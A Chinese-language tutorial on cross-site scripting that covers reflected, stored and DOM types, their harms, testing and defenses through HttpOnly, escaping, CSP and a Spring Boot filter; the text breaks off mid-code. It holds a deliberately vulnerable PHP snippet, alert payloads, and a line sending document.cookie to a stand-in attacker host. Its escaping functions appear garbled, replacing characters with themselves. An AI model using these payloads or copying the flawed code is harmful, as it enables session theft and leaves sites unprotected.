跨站腳本攻擊XSS分類介紹以及解決方案匯總
1.什么是XSS?
Cross-Site Scripting(跨站腳本攻擊)簡稱 XSS,是一種代碼注入攻擊。攻擊者通過在目標網站上注入惡意腳本,使之在用戶的瀏覽器上運行。利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進而危害數(shù)據(jù)安全。
當頁面被注入了惡意 JavaScript 腳本時,瀏覽器無法區(qū)分這些腳本是被惡意注入的還是正常的頁面內容,所以惡意注入 JavaScript 腳本也擁有所有的腳本權限。下面我們就來看看,如果頁面被注入了惡意 JavaScript 腳本,惡意腳本都能做哪些事情。
- 可以竊取 Cookie 信息。惡意 JavaScript 可以通過“document.cookie”獲取 Cookie 信息,然后通過 XMLHttpRequest 或者 Fetch 加上 CORS 功能將數(shù)據(jù)發(fā)送給惡意服務器;惡意服務器拿到用戶的 Cookie 信息之后,就可以在其他電腦上模擬用戶的登錄,然后進行轉賬等操 作。
- 可以監(jiān)聽用戶行為。惡意 JavaScript 可以使用“addEventListener”接口來監(jiān)聽鍵盤事件,比如可以獲取用戶輸入的信用卡等信息,將其發(fā)送 到惡意服務器。黑客掌握了這些信息之后,又可以做很多違法的事情。
- 可以通過修改 DOM偽造假的登錄窗口,用來欺騙用戶輸入用戶名和密碼等信息。
- 還可以在頁面內生成浮窗廣告,這些廣告會嚴重地影響用戶體驗。
這里有一個問題:用戶是通過哪種方法“注入”惡意腳本的呢?
不僅僅是業(yè)務上的“用戶的 UGC 內容”可以進行注入,包括 URL 上的參數(shù)等都可以是攻擊的來源。在處
理輸入時,以下內容都不可信:
- 來自用戶的 UGC 信息
- 來自第三方的鏈接
- URL 參數(shù)
- POST 參數(shù)
- Referer (可能來自不可信的來源)
- Cookie (可能來自其他子域注入)
2.XSS 分類
2.1 反射型XSS
交互的數(shù)據(jù)一般不會被存在數(shù)據(jù)庫里面,只是簡單的把用戶輸入的數(shù)據(jù)反射到瀏覽器,一次性,所見即可得。
if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>輸入'kobe'試試-_-</p>"; }else{ if($_GET['message']=='kobe'){ $html.="<p class='notice'>愿你和{$_GET['message']}一樣,永遠年輕,永遠熱血沸騰!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />"; }else{ $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>"; } } }
這段邏輯只是關注你有沒有輸入信息。
比如寫一段惡意代碼:
<script>alert(111)</script>
攻擊過程必須讓用戶訪問指定url 才能生效,并且訪問過程產生的數(shù)據(jù)不會被服務端造成影響
反射型XSS的總體流程總結 一下,你可以看下面這張圖。黑客誘導你到點擊了某個鏈接,這個鏈接提供的服務,可能就是上述的搜索功能。
網頁在解析到鏈接 的參數(shù)后,執(zhí)行正常的搜索 邏輯,但是因為漏洞,網頁中被填入了黑客定義的腳本。使得用戶的瀏覽器,最終執(zhí)行的是黑客的腳本。
反射型XSS漏洞常見于通過有URL傳遞參數(shù)的功能,如網站搜索、跳轉等。
由于需要用戶主動打開惡意的URL才能生效,攻擊者往往會結合多種手段誘導用戶點擊。
POST 的內容也可以觸發(fā)反射型 XSS,只不過其觸發(fā)條件比較苛刻(需要構造表單提交頁面,并引導用戶點擊),所以非常少見。
2.2 存儲型XSS
交互的數(shù)據(jù)會被存儲在數(shù)據(jù)庫里面,永久性存儲,具有很強的穩(wěn)定性。
存儲型 XSS 的攻擊步驟:
- 攻擊者將惡意代碼提交到目標網站的數(shù)據(jù)庫中。
- 用戶打開目標網站時,網站服務端將惡意代碼從數(shù)據(jù)庫取出,拼接在 HTML 中返回給瀏覽器。
- 用戶瀏覽器接收到響應后解析執(zhí)行,混在其中的惡意代碼也被執(zhí)行。
- 惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執(zhí)行攻擊者指定的操作。
<script>alert(document.cookie)</script>
每次不同的用戶訪問這個留言板的時候, 都會觸發(fā)這個js代碼, 因為是存儲在數(shù)據(jù)庫里(存儲型)
2.3 DOM型XSS
基于 DOM 的 XSS 攻擊是不牽涉到頁面 Web 服務器的。具體來講,黑客通過各種手段將惡意腳本注入用戶的頁面中,比如通過網絡劫持在頁面
傳輸過程中修改 HTML 頁面的內容,這種劫持類型很多,有通過 WiFi 路由器劫持的,有通過本地惡意軟件來劫持的,它們的共同點是在 Web
資源傳輸過程或者在用戶使用頁面的過程中修改 Web 頁面的數(shù)據(jù)。
DOM 型 XSS 的攻擊步驟:
- 攻擊者構造出特殊的 URL,其中包含惡意代碼。
- 用戶打開帶有惡意代碼的 URL。
- 用戶瀏覽器接收到響應后解析執(zhí)行,前端 JavaScript 取出 URL 中的惡意代碼并執(zhí)行。
- 惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執(zhí)行攻擊者指定的操作。
DOM 型 XSS 跟前兩種 XSS 的區(qū)別:DOM 型 XSS 攻擊中,取出和執(zhí)行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞,而其
他兩種 XSS 都屬于服務端的安全漏洞。
3.漏洞危害
- 釣魚欺騙:最典型的就是利用目標網站的反射型跨站腳本漏洞將目標網站重定向到釣魚網站,或者注入釣魚 JavaScript 以監(jiān)控目標網站的表單輸入。
- 網站掛馬:跨站時利用 IFrame 嵌入隱藏的惡意網站或者將被攻擊者定向到惡意網站上,或者彈出惡意網站窗口等方式都可以進行掛馬攻擊。
- 身份盜用:Cookie 是用戶對于特定網站的身份驗證標志,XSS 可以盜取到用戶的 Cookie,從而利用該 Cookie 盜取用戶對該網站的操作權限。如果一個網站管理員用戶 Cookie 被竊取,將會對網站引發(fā)巨大的危害。
- 盜取網站用戶信息:當能夠竊取到用戶 Cookie 從而獲取到用戶身份時,攻擊者可以獲取到用戶對網站的操作權限,從而查看用戶隱私信息。
下面代碼是讀取目標網站的cookie發(fā)送到黑客的服務器上。
var i=document.createElement("img"); document.body.appendChild(i); i.src = "http://www.hackerserver.com/?c=" + document.cookie;
垃圾信息發(fā)送:比如在 SNS 社區(qū)中,利用 XSS 漏洞借用被攻擊者的身份發(fā)送大量的垃圾信息給特定的目標群。
劫持用戶 Web 行為:一些高級的 XSS 攻擊甚至可以劫持用戶的 Web 行為,監(jiān)視用戶的瀏覽歷史,發(fā)送與接收的數(shù)據(jù)等等。
XSS 蠕蟲:XSS 蠕蟲可以用來打廣告、刷流量、掛馬、惡作劇、破壞網上數(shù)據(jù)、實施 DDoS 攻擊等。
4.測試方法
- 工具掃描: APPscan、AWVS
- 手動測試: Burpsuite、Firefox(hackbar)、XSSER
使用手工檢測Web應用程序是否存在XSS漏洞時,最重要的是考慮哪里有輸入,輸入的數(shù)據(jù)在什么地方輸出。在進行手動檢測XSS時,人畢
竟不像軟件那樣不知疲憊,所以一定要選擇有特殊意義的字符,這樣可以快速測試是否存在XSS。
- 在目標站點上找到輸入帶你,比如查詢接口,留言板等
- 輸入一組 特殊字符+唯一識別字符 ,點擊提交后,查看返回的源碼,是否有做對應的處理;
- 通過搜索定位到唯一字符,結合唯一字符前后語法確認時候可以構造執(zhí)行 js 的條件(構造閉合);提交構造的腳本代碼,看是否可以成功執(zhí)行,如果成功執(zhí)行則說明存在XSS漏洞。
Web漏洞掃描器原理:
https://www.acunetix.com/vulnerability-scanner/
5.解決方案
5.1 httpOnly
由于很多XSS攻擊目的都是盜取Cookie的,因此可以公國HttpOnly 屬性來保護Cookie的安全。httponly 默認是false,即這個cookie可以被js獲取,假如你的cookie沒加密又沒設置httponly,你的cookie可能就會盜用,所以httponly增加了安全系數(shù)HttpOnly
是包含在 Set-Cookie HTTP 響應標頭中的附加標志??梢苑婪?XSS攻擊。
springBoot 項目中怎樣設置,在配置文件中配置:
server.servlet.session.cookie.http-only 默認為true
5.2 客戶端過濾
對用戶的輸入進行過濾,通過將 <>
、''
、""
等字符進行轉義,移除用戶輸入的Style節(jié)點、Script節(jié)點、iframe節(jié)點
const filterXSS(str){ let s= ''; if(str.length == 0) return ""; s = str.replace(/&/g,"&"); s = s.replace(/</g,"<"); s = s.replace(/>/g,">"); s = s.replace(/ /g," "); s = s.replace(/\'/g,"'"); s = s.replace(/\"/g,"""); return s; }
5.3 充分利用CSP
雖然在服務器端執(zhí)行過濾或者轉碼可以阻止 XSS 攻擊的發(fā)生,但完全依靠服務器端依然是不夠的,我們還需要把 CSP 等策略充分地利用起來,
以降低 XSS 攻擊帶來的風險和后果。
CSP( Content-Security-Policy )從字面意思來講是“內容 - 安全 - 政策”。
通俗的講就是該網頁內容的一個安全策略,可以自定義資源的加載規(guī)則和資源所在地址源的白名單,用來限制資源是否被允許加載,即當受到 XSS 攻擊時,攻擊的資源文件所在的地址源不滿足 CSP 配置的規(guī)則,即攻擊資源會加載失敗,以此達到防止 XSS 攻擊的效果。
CSP的意義:防XSS等攻擊的利器。CSP 的實質就是白名單制度,開發(fā)者明確告訴客戶端,哪些外部資源可以加載和執(zhí)行,等同于提供白名單。它的實現(xiàn)和執(zhí)行全部由瀏覽器完成,開發(fā)者只需提供配置。CSP 大大增強了網頁的安全性。攻擊者即使發(fā)現(xiàn)了漏洞,也沒法注入腳本,除非還控制了一臺列入了白名單的可信主機。
1.如何應用?
CSP 可以由兩種方式指定:HTTP Header 和 HTML。HTTP 是在 HTTP 由增加 Header 來指定,而 HTML 級別則由 Meta 標簽指定。
CSP 有兩類:Content-Security-Policy 和 Content-Security-Policy-Report-Only。(大小寫無關)
(1)Content-Security-Policy:配置好并啟用后,不符合 CSP 的外部資源就會被阻止加載。
(2)Content-Security-Policy-Report-Only:表示不執(zhí)行限制選項,只是記錄違反限制的行為。它必須
與report-uri選項配合使用。
TTP header : "Content-Security-Policy:" 策略 "Content-Security-Policy-Report-Only:" 策略
HTTP Content-Security-Policy 頭可以指定一個或多個資源是安全的,而Content-Security-Policy-Report-Only則是允許服務器檢查(非強制)一個策略。多個頭的策略定義由優(yōu)先采用最先定義的。
HTML Meta : <meta http-equiv="content-security-policy" content="策略"> <meta http-equiv="content-security-policy-report-only" content="策略">
Meta 標簽與 HTTP 頭只是行式不同而作用是一致的。與 HTTP 頭一樣,優(yōu)先采用最先定義的策略。如果 HTTP 頭與 Meta 定義同時存在,則優(yōu)先采用 HTTP 中的定義。如果用戶瀏覽器已經為當前文檔執(zhí)行了一個 CSP 的策略,則會跳過 Meta 的定義。如果 META 標簽缺少 content 屬性也同樣會跳過。
針對開發(fā)者草案中特別的提示一點:為了使用策略生效,應該將 Meta 元素頭放在開始位置,以防止提高人為的 CSP 策略注入。
2.CSP使用方式有兩種
1、使用meta標簽, 直接在頁面添加meta標簽
<meta http-equiv="Content-Security-Policy" content="default-src 'self' *.xx.com *.xx.cn 'unsafe-inline' 'unsafe-eval';">
這種方式最簡單,但是也有些缺陷,每個頁面都需要添加,而且不能對限制的域名進行上報。
vue中使用CSP參考: http://www.dbjr.com.cn/article/259619.htm
2、在nginx中配置
###frame 同源策略 add_header X-Frame-Options SAMEORIGIN; ###CSP防護 add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline';font-src 'self' data:; img-src 'self' data: 'unsafe-inline' https:; style-src 'self' 'unsafe-inline';frame-ancestors 'self'; frame-src 'self';connect-src https:"; ###開啟XSS防護 add_header X-Xss-Protection "1"; ###資源解析 add_header X-Content-Type-Options nosniff; ###HSTS防護 add_header Strict-Transport-Security "max-age=172800; includeSubDomains";
3.匹配規(guī)則
CSP內容匹配的規(guī)則:規(guī)則名稱 規(guī)則 規(guī)則;規(guī)則名稱 規(guī)則 ...
- default-src 所有資源的默認策略
- script-src JS的加載策略,會覆蓋default-src中的策略,比如寫了default-src xx.com;script-src x.com xx.com; 必須同時加上xx.com,因為script-src會當作一個整體覆蓋整個默認的default-src規(guī)則。
- ‘unsafe-inline’ 允許執(zhí)行內聯(lián)的JS代碼,默認為不允許,如果有內聯(lián)的代碼必須加上這條
- ‘unsafe-eval’ 允許執(zhí)行eval等
詳情配置及瀏覽器兼容性可查看官方文檔:https://content-security-policy.com
https://cloud.tencent.com/developer/section/1189862
策略應該怎么寫?示例
// 限制所有的外部資源,都只能從當前域名加載 Content-Security-Policy: default-src 'self' // default-src 是 CSP 指令,多個指令之間用英文分號分割;多個指令值用英文空格分割 Content-Security-Policy: default-src https://host1.com https://host2.com; frame-src 'none'; object-src 'none' // 錯誤寫法,第二個指令將會被忽略 Content-Security-Policy: script-src https://host1.com; script-src https://host2.com // 正確寫法如下 Content-Security-Policy: script-src https://host1.com https://host2.com
我們不僅希望防止 XSS,還希望記錄此類行為。report-uri就用來告訴瀏覽器,應該把注入行為報告給哪個網址。
// 通過report-uri指令指示瀏覽器發(fā)送JSON格式的攔截報告到某個url地址 Content-Security-Policy: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser; // 報告看起來會像下面這樣 { "csp-report": { "document-uri": "http://example.org/page.html", "referrer": "http://evil.example.com/", "blocked-uri": "http://evil.example.com/evil.js", "violated-directive": "script-src 'self' https://apis.google.com", "original-policy": "script-src 'self' https://apis.google.com; report-uri http://example.org/my_amazing_csp_report_parser" } }
實施嚴格的 CSP 可以有效地防范 XSS 攻擊,具體來講 CSP 有如下幾個功能:
- 限制加載其他域下的資源文件,這樣即使黑客插入了一個 JavaScript 文件,這個 JavaScript 文件也是無法被加載的;
- 禁止向第三方域提交數(shù)據(jù),這樣用戶數(shù)據(jù)也不會外泄;
- 禁止執(zhí)行內聯(lián)腳本和未授權的腳本;
- 還提供了上報機制,這樣可以幫助我們盡快發(fā)現(xiàn)有哪些 XSS 攻擊,以便盡快修復問題。
因此,利用好 CSP 能夠有效降低 XSS 攻擊的概率。
5.5 服務端校驗
后端使用的 SpringBoot
(1) 首先配置過濾器
@Bean public FilterRegistrationBean<XssFilter> xssFilterRegistration() { //創(chuàng)建配置bean對象,并指定->過濾器 FilterRegistrationBean<XssFilter> registrationBean = new FilterRegistrationBean<>(new XssFilter()); // 最后執(zhí)行 registrationBean.setDispatcherTypes(DispatcherType.REQUEST); registrationBean.setOrder(Integer.MAX_VALUE-1); registrationBean.setName("xssFilter"); //添加需要過濾的url registrationBean.addUrlPatterns(StrUtil.splitToArray(urlPatterns, ',')); Map<String, String> initParameters = new HashMap<>(4); initParameters.put("excludes", excludes); initParameters.put("enabled", enabled); registrationBean.setInitParameters(initParameters); return registrationBean; }
(2) 過濾器
* 攔截防止xss注入 * 通過Jsoup過濾請求參數(shù)內的特定字符 * 這種攔截只能處理:參數(shù)通過 request.getParameter獲取到的 請求. * 但是對于 json格式傳遞 application/json 無法處理.
public class XssFilter implements Filter { private static Logger logger = LoggerFactory.getLogger(XssFilter.class); /** * 不需要過濾的鏈接 */ public List<String> excludes = new ArrayList<>(); /** * xss過濾開關 */ public boolean enabled = false; @Override public void init(FilterConfig filterConfig) throws ServletException { String tempExcludes = filterConfig.getInitParameter("excludes"); String tempEnabled = filterConfig.getInitParameter("enabled"); if (StringUtils.isNotEmpty(tempExcludes)) { String[] url = tempExcludes.split(","); for (int i = 0; url != null && i < url.length; i++) { excludes.add(url[i]); } } if (StringUtils.isNotEmpty(tempEnabled)) { enabled = Boolean.valueOf(tempEnabled); } } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; if (handleExcludeURL(req, resp)) { filterChain.doFilter(request, response); return; } filterChain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request), response); } @Override public void destroy() { // noop } private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response) { if (!enabled) { return true; } if (excludes == null || excludes.isEmpty()) { return false; } String url = request.getServletPath(); for (String pattern : excludes) { Pattern p = Pattern.compile("^" + pattern); Matcher m = p.matcher(url); if (m.find()){ return true; } } return false; } }
XssHttpServletRequestWrapper:對 HttpServletRequest 進行一次包裝, 進行xss過濾.針對 POST application/x-www-form-urlencoded 或者 GET請求.
@Slf4j public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { private HttpServletRequest orgRequest; // html過濾 private final static HTMLFilter htmlFilter = new HTMLFilter(); public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); orgRequest = request; } @Override public ServletInputStream getInputStream() throws IOException { // 非json類型,直接返回 if (!isJsonRequest()) { return super.getInputStream(); } // 為空,直接返回 String json = IOUtils.toString(super.getInputStream(), "utf-8"); if (StrUtil.isBlank(json)) { return super.getInputStream(); } // xss過濾 json = xssEncode(json); final ByteArrayInputStream bis = new ByteArrayInputStream(json.getBytes("utf-8")); return new ServletInputStream() { @Override public boolean isFinished() { return true; } @Override public boolean isReady() { return true; } @Override public void setReadListener(ReadListener readListener) { } @Override public int read() throws IOException { return bis.read(); } }; } /** * 覆蓋getParameter方法,將參數(shù)名和參數(shù)值都做xss過濾。<br/> */ @Override public String getParameter(String rawName) { String value = super.getParameter(xssEncode(rawName)); if (StrUtil.isNotBlank(value)) { value = xssEncode(value); } return value; } @Override public String[] getParameterValues(String name) { String[] parameters = super.getParameterValues(name); if (parameters == null || parameters.length == 0) { return null; } for (int i = 0; i < parameters.length; i++) { parameters[i] = xssEncode(parameters[i]); } return parameters; } @Override public Enumeration<String> getParameterNames() { Enumeration<String> parameterNames = super.getParameterNames(); List<String> list = new LinkedList<>(); if (parameterNames != null) { while (parameterNames.hasMoreElements()) { String rawName = parameterNames.nextElement(); String safetyName = xssEncode(rawName); if (!Objects.equals(rawName, safetyName)) { log.warn("請求路徑: {},參數(shù)鍵: {}, xss過濾后: {}. 疑似xss攻擊", orgRequest.getRequestURI(), rawName, safetyName); } list.add(safetyName); } } return Collections.enumeration(list); } @Override public Map<String, String[]> getParameterMap() { Map<String, String[]> map = new LinkedHashMap<>(); Map<String, String[]> parameters = super.getParameterMap(); for (String key : parameters.keySet()) { String[] values = parameters.get(key); for (int i = 0; i < values.length; i++) { values[i] = xssEncode(values[i]); } map.put(key, values); } return map; } /** * 覆蓋getHeader方法,將參數(shù)名和參數(shù)值都做xss過濾。<br/> * 如果需要獲得原始的值,則通過super.getHeaders(name)來獲取<br/> * getHeaderNames 也可能需要覆蓋 */ @Override public String getHeader(String name) { String value = super.getHeader(xssEncode(name)); if (StrUtil.isNotBlank(value)) { value = xssEncode(value); } return value; } private String xssEncode(String input) { return htmlFilter.filter(input); } /** * 是否是Json請求 */ public boolean isJsonRequest() { String header = super.getHeader(HttpHeaders.CONTENT_TYPE); return StringUtils.startsWithIgnoreCase(header, MediaType.APPLICATION_JSON_VALUE); } }
HTMLFilter
public final class HTMLFilter { /** regex flag union representing /si modifiers in php **/ private static final int REGEX_FLAGS_SI = Pattern.CASE_INSENSITIVE | Pattern.DOTALL; private static final Pattern P_COMMENTS = Pattern.compile("<!--(.*?)-->", Pattern.DOTALL); private static final Pattern P_COMMENT = Pattern.compile("^!--(.*)--$", REGEX_FLAGS_SI); private static final Pattern P_TAGS = Pattern.compile("<(.*?)>", Pattern.DOTALL); private static final Pattern P_END_TAG = Pattern.compile("^/([a-z0-9]+)", REGEX_FLAGS_SI); private static final Pattern P_START_TAG = Pattern.compile("^([a-z0-9]+)(.*?)(/?)$", REGEX_FLAGS_SI); private static final Pattern P_QUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)=([\"'])(.*?)\\2", REGEX_FLAGS_SI); private static final Pattern P_UNQUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)(=)([^\"\\s']+)", REGEX_FLAGS_SI); private static final Pattern P_PROTOCOL = Pattern.compile("^([^:]+):", REGEX_FLAGS_SI); private static final Pattern P_ENTITY = Pattern.compile("&#(\\d+);?"); private static final Pattern P_ENTITY_UNICODE = Pattern.compile("&#x([0-9a-f]+);?"); private static final Pattern P_ENCODE = Pattern.compile("%([0-9a-f]{2});?"); private static final Pattern P_VALID_ENTITIES = Pattern.compile("&([^&;]*)(?=(;|&|$))"); private static final Pattern P_VALID_QUOTES = Pattern.compile("(>|^)([^<]+?)(<|$)", Pattern.DOTALL); private static final Pattern P_END_ARROW = Pattern.compile("^>"); private static final Pattern P_BODY_TO_END = Pattern.compile("<([^>]*?)(?=<|$)"); private static final Pattern P_XML_CONTENT = Pattern.compile("(^|>)([^<]*?)(?=>)"); private static final Pattern P_STRAY_LEFT_ARROW = Pattern.compile("<([^>]*?)(?=<|$)"); private static final Pattern P_STRAY_RIGHT_ARROW = Pattern.compile("(^|>)([^<]*?)(?=>)"); private static final Pattern P_AMP = Pattern.compile("&"); private static final Pattern P_QUOTE = Pattern.compile("<"); private static final Pattern P_LEFT_ARROW = Pattern.compile("<"); private static final Pattern P_RIGHT_ARROW = Pattern.compile(">"); private static final Pattern P_BOTH_ARROWS = Pattern.compile("<>"); // @xxx could grow large... maybe use sesat's ReferenceMap private static final ConcurrentMap<String,Pattern> P_REMOVE_PAIR_BLANKS = new ConcurrentHashMap<String, Pattern>(); private static final ConcurrentMap<String,Pattern> P_REMOVE_SELF_BLANKS = new ConcurrentHashMap<String, Pattern>(); /** set of allowed html elements, along with allowed attributes for each element **/ private final Map<String, List<String>> vAllowed; /** counts of open tags for each (allowable) html element **/ private final Map<String, Integer> vTagCounts = new HashMap<String, Integer>(); /** html elements which must always be self-closing (e.g. "<img />") **/ private final String[] vSelfClosingTags; /** html elements which must always have separate opening and closing tags (e.g. "<b></b>") **/ private final String[] vNeedClosingTags; /** set of disallowed html elements **/ private final String[] vDisallowed; /** attributes which should be checked for valid protocols **/ private final String[] vProtocolAtts; /** allowed protocols **/ private final String[] vAllowedProtocols; /** tags which should be removed if they contain no content (e.g. "<b></b>" or "<b />") **/ private final String[] vRemoveBlanks; /** entities allowed within html markup **/ private final String[] vAllowedEntities; /** flag determining whether comments are allowed in input String. */ private final boolean stripComment; private final boolean encodeQuotes; private boolean vDebug = false; /** * flag determining whether to try to make tags when presented with "unbalanced" * angle brackets (e.g. "<b text </b>" becomes "<b> text </b>"). If set to false, * unbalanced angle brackets will be html escaped. */ private final boolean alwaysMakeTags; /** Default constructor. * */ public HTMLFilter() { vAllowed = new HashMap<>(); final ArrayList<String> a_atts = new ArrayList<String>(); a_atts.add("href"); a_atts.add("target"); vAllowed.put("a", a_atts); final ArrayList<String> img_atts = new ArrayList<String>(); img_atts.add("src"); img_atts.add("width"); img_atts.add("height"); img_atts.add("alt"); vAllowed.put("img", img_atts); final ArrayList<String> no_atts = new ArrayList<String>(); vAllowed.put("b", no_atts); vAllowed.put("strong", no_atts); vAllowed.put("i", no_atts); vAllowed.put("em", no_atts); vSelfClosingTags = new String[]{"img"}; vNeedClosingTags = new String[]{"a", "b", "strong", "i", "em"}; vDisallowed = new String[]{}; vAllowedProtocols = new String[]{"http", "mailto", "https"}; // no ftp. vProtocolAtts = new String[]{"src", "href"}; vRemoveBlanks = new String[]{"a", "b", "strong", "i", "em"}; vAllowedEntities = new String[]{"amp", "gt", "lt", "quot"}; stripComment = true; encodeQuotes = true; alwaysMakeTags = true; } /** Set debug flag to true. Otherwise use default settings. See the default constructor. * * @param debug turn debug on with a true argument */ public HTMLFilter(final boolean debug) { this(); vDebug = debug; } /** Map-parameter configurable constructor. * * @param conf map containing configuration. keys match field names. */ @SuppressWarnings("unchecked") public HTMLFilter(final Map<String,Object> conf) { assert conf.containsKey("vAllowed") : "configuration requires vAllowed"; assert conf.containsKey("vSelfClosingTags") : "configuration requires vSelfClosingTags"; assert conf.containsKey("vNeedClosingTags") : "configuration requires vNeedClosingTags"; assert conf.containsKey("vDisallowed") : "configuration requires vDisallowed"; assert conf.containsKey("vAllowedProtocols") : "configuration requires vAllowedProtocols"; assert conf.containsKey("vProtocolAtts") : "configuration requires vProtocolAtts"; assert conf.containsKey("vRemoveBlanks") : "configuration requires vRemoveBlanks"; assert conf.containsKey("vAllowedEntities") : "configuration requires vAllowedEntities"; vAllowed = Collections.unmodifiableMap((HashMap<String, List<String>>) conf.get("vAllowed")); vSelfClosingTags = (String[]) conf.get("vSelfClosingTags"); vNeedClosingTags = (String[]) conf.get("vNeedClosingTags"); vDisallowed = (String[]) conf.get("vDisallowed"); vAllowedProtocols = (String[]) conf.get("vAllowedProtocols"); vProtocolAtts = (String[]) conf.get("vProtocolAtts"); vRemoveBlanks = (String[]) conf.get("vRemoveBlanks"); vAllowedEntities = (String[]) conf.get("vAllowedEntities"); stripComment = conf.containsKey("stripComment") ? (Boolean) conf.get("stripComment") : true; encodeQuotes = conf.containsKey("encodeQuotes") ? (Boolean) conf.get("encodeQuotes") : true; alwaysMakeTags = conf.containsKey("alwaysMakeTags") ? (Boolean) conf.get("alwaysMakeTags") : true; } private void reset() { vTagCounts.clear(); } private void debug(final String msg) { if (vDebug) { Logger.getAnonymousLogger().info(msg); } } //--------------------------------------------------------------- // my versions of some PHP library functions public static String chr(final int decimal) { return String.valueOf((char) decimal); } public static String htmlSpecialChars(final String s) { String result = s; result = regexReplace(P_AMP, "&", result); result = regexReplace(P_QUOTE, """, result); result = regexReplace(P_LEFT_ARROW, "<", result); result = regexReplace(P_RIGHT_ARROW, ">", result); return result; } //--------------------------------------------------------------- /** * given a user submitted input String, filter out any invalid or restricted * html. * * @param input text (i.e. submitted by a user) than may contain html * @return "clean" version of input, with only valid, whitelisted html elements allowed */ public String filter(final String input) { reset(); String s = input; debug("************************************************"); debug(" INPUT: " + input); s = escapeComments(s); debug(" escapeComments: " + s); s = balanceHTML(s); debug(" balanceHTML: " + s); s = checkTags(s); debug(" checkTags: " + s); s = processRemoveBlanks(s); debug("processRemoveBlanks: " + s); s = validateEntities(s); debug(" validateEntites: " + s); debug("************************************************\n\n"); return s; } public boolean isAlwaysMakeTags(){ return alwaysMakeTags; } public boolean isStripComments(){ return stripComment; } private String escapeComments(final String s) { final Matcher m = P_COMMENTS.matcher(s); final StringBuffer buf = new StringBuffer(); if (m.find()) { final String match = m.group(1); //(.*?) m.appendReplacement(buf, Matcher.quoteReplacement("<!--" + htmlSpecialChars(match) + "-->")); } m.appendTail(buf); return buf.toString(); } private String balanceHTML(String s) { if (alwaysMakeTags) { // // try and form html // s = regexReplace(P_END_ARROW, "", s); s = regexReplace(P_BODY_TO_END, "<$1>", s); s = regexReplace(P_XML_CONTENT, "$1<$2", s); } else { // // escape stray brackets // s = regexReplace(P_STRAY_LEFT_ARROW, "<$1", s); s = regexReplace(P_STRAY_RIGHT_ARROW, "$1$2><", s); // // the last regexp causes '<>' entities to appear // (we need to do a lookahead assertion so that the last bracket can // be used in the next pass of the regexp) // s = regexReplace(P_BOTH_ARROWS, "", s); } return s; } private String checkTags(String s) { Matcher m = P_TAGS.matcher(s); final StringBuffer buf = new StringBuffer(); while (m.find()) { String replaceStr = m.group(1); replaceStr = processTag(replaceStr); m.appendReplacement(buf, Matcher.quoteReplacement(replaceStr)); } m.appendTail(buf); s = buf.toString(); // these get tallied in processTag // (remember to reset before subsequent calls to filter method) for (String key : vTagCounts.keySet()) { for (int ii = 0; ii < vTagCounts.get(key); ii++) { s += "</" + key + ">"; } } return s; } private String processRemoveBlanks(final String s) { String result = s; for (String tag : vRemoveBlanks) { if(!P_REMOVE_PAIR_BLANKS.containsKey(tag)){ P_REMOVE_PAIR_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)?></" + tag + ">")); } result = regexReplace(P_REMOVE_PAIR_BLANKS.get(tag), "", result); if(!P_REMOVE_SELF_BLANKS.containsKey(tag)){ P_REMOVE_SELF_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)?/>")); } result = regexReplace(P_REMOVE_SELF_BLANKS.get(tag), "", result); } return result; } private static String regexReplace(final Pattern regex_pattern, final String replacement, final String s) { Matcher m = regex_pattern.matcher(s); return m.replaceAll(replacement); } private String processTag(final String s) { // ending tags Matcher m = P_END_TAG.matcher(s); if (m.find()) { final String name = m.group(1).toLowerCase(); if (allowed(name)) { if (!inArray(name, vSelfClosingTags)) { if (vTagCounts.containsKey(name)) { vTagCounts.put(name, vTagCounts.get(name) - 1); return "</" + name + ">"; } } } } // starting tags m = P_START_TAG.matcher(s); if (m.find()) { final String name = m.group(1).toLowerCase(); final String body = m.group(2); String ending = m.group(3); //debug( "in a starting tag, name='" + name + "'; body='" + body + "'; ending='" + ending + "'" ); if (allowed(name)) { String params = ""; final Matcher m2 = P_QUOTED_ATTRIBUTES.matcher(body); final Matcher m3 = P_UNQUOTED_ATTRIBUTES.matcher(body); final List<String> paramNames = new ArrayList<String>(); final List<String> paramValues = new ArrayList<String>(); while (m2.find()) { paramNames.add(m2.group(1)); //([a-z0-9]+) paramValues.add(m2.group(3)); //(.*?) } while (m3.find()) { paramNames.add(m3.group(1)); //([a-z0-9]+) paramValues.add(m3.group(3)); //([^\"\\s']+) } String paramName, paramValue; for (int ii = 0; ii < paramNames.size(); ii++) { paramName = paramNames.get(ii).toLowerCase(); paramValue = paramValues.get(ii); // debug( "paramName='" + paramName + "'" ); // debug( "paramValue='" + paramValue + "'" ); // debug( "allowed? " + vAllowed.get( name ).contains( paramName ) ); if (allowedAttribute(name, paramName)) { if (inArray(paramName, vProtocolAtts)) { paramValue = processParamProtocol(paramValue); } params += " " + paramName + "=\"" + paramValue + "\""; } } if (inArray(name, vSelfClosingTags)) { ending = " /"; } if (inArray(name, vNeedClosingTags)) { ending = ""; } if (ending == null || ending.length() < 1) { if (vTagCounts.containsKey(name)) { vTagCounts.put(name, vTagCounts.get(name) + 1); } else { vTagCounts.put(name, 1); } } else { ending = " /"; } return "<" + name + params + ending + ">"; } else { return ""; } } // comments m = P_COMMENT.matcher(s); if (!stripComment && m.find()) { return "<" + m.group() + ">"; } return ""; } private String processParamProtocol(String s) { s = decodeEntities(s); final Matcher m 